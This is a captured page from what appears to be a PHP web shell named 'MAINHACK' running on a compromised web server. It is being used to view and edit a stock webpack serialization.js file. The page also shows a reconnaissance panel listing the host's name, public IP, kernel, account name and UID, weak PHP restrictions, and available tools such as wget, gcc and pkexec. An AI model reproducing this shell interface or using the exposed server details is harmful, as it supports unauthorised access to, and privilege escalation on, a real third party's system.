[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: serialization.js
/* MIT License http://www.opensource.org/licenses/mit-license.php */ "use strict"; const memoize = require("./memoize"); /** @typedef {import("../serialization/BinaryMiddleware").MEASURE_END_OPERATION_TYPE} MEASURE_END_OPERATION */ /** @typedef {import("../serialization/BinaryMiddleware").MEASURE_START_OPERATION_TYPE} MEASURE_START_OPERATION */ /** @typedef {import("../serialization/ObjectMiddleware").ObjectDeserializerContext} ObjectDeserializerContext */ /** @typedef {import("../serialization/ObjectMiddleware").ObjectSerializerContext} ObjectSerializerContext */ /** @typedef {import("../serialization/Serializer")} Serializer */ const getBinaryMiddleware = memoize(() => require("../serialization/BinaryMiddleware") ); const getObjectMiddleware = memoize(() => require("../serialization/ObjectMiddleware") ); const getSingleItemMiddleware = memoize(() => require("../serialization/SingleItemMiddleware") ); const getSerializer = memoize(() => require("../serialization/Serializer")); const getSerializerMiddleware = memoize(() => require("../serialization/SerializerMiddleware") ); const getBinaryMiddlewareInstance = memoize( () => new (getBinaryMiddleware())() ); const registerSerializers = memoize(() => { require("./registerExternalSerializer"); // Load internal paths with a relative require // This allows bundling all internal serializers const internalSerializables = require("./internalSerializables"); getObjectMiddleware().registerLoader(/^webpack\/lib\//, req => { const loader = internalSerializables[req.slice("webpack/lib/".length)]; if (loader) { loader(); } else { console.warn(`${req} not found in internalSerializables`); } return true; }); }); /** @type {Serializer} */ let buffersSerializer; // Expose serialization API module.exports = { get register() { return getObjectMiddleware().register; }, get registerLoader() { return getObjectMiddleware().registerLoader; }, get registerNotSerializable() { return getObjectMiddleware().registerNotSerializable; }, get NOT_SERIALIZABLE() { return getObjectMiddleware().NOT_SERIALIZABLE; }, /** @type {MEASURE_START_OPERATION} */ get MEASURE_START_OPERATION() { return getBinaryMiddleware().MEASURE_START_OPERATION; }, /** @type {MEASURE_END_OPERATION} */ get MEASURE_END_OPERATION() { return getBinaryMiddleware().MEASURE_END_OPERATION; }, get buffersSerializer() { if (buffersSerializer !== undefined) return buffersSerializer; registerSerializers(); const Serializer = getSerializer(); const binaryMiddleware = getBinaryMiddlewareInstance(); const SerializerMiddleware = getSerializerMiddleware(); const SingleItemMiddleware = getSingleItemMiddleware(); return (buffersSerializer = new Serializer([ new SingleItemMiddleware(), new (getObjectMiddleware())(context => { if (context.write) { context.writeLazy = value => { context.write( SerializerMiddleware.createLazy(value, binaryMiddleware) ); }; } }, "md4"), binaryMiddleware ])); }, createFileSerializer: (fs, hashFunction) => { registerSerializers(); const Serializer = getSerializer(); const FileMiddleware = require("../serialization/FileMiddleware"); const fileMiddleware = new FileMiddleware(fs, hashFunction); const binaryMiddleware = getBinaryMiddlewareInstance(); const SerializerMiddleware = getSerializerMiddleware(); const SingleItemMiddleware = getSingleItemMiddleware(); return new Serializer([ new SingleItemMiddleware(), new (getObjectMiddleware())(context => { if (context.write) { context.writeLazy = value => { context.write( SerializerMiddleware.createLazy(value, binaryMiddleware) ); }; context.writeSeparate = (value, options) => { const lazy = SerializerMiddleware.createLazy( value, fileMiddleware, options ); context.write(lazy); return lazy; }; } }, hashFunction), binaryMiddleware, fileMiddleware ]); } };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002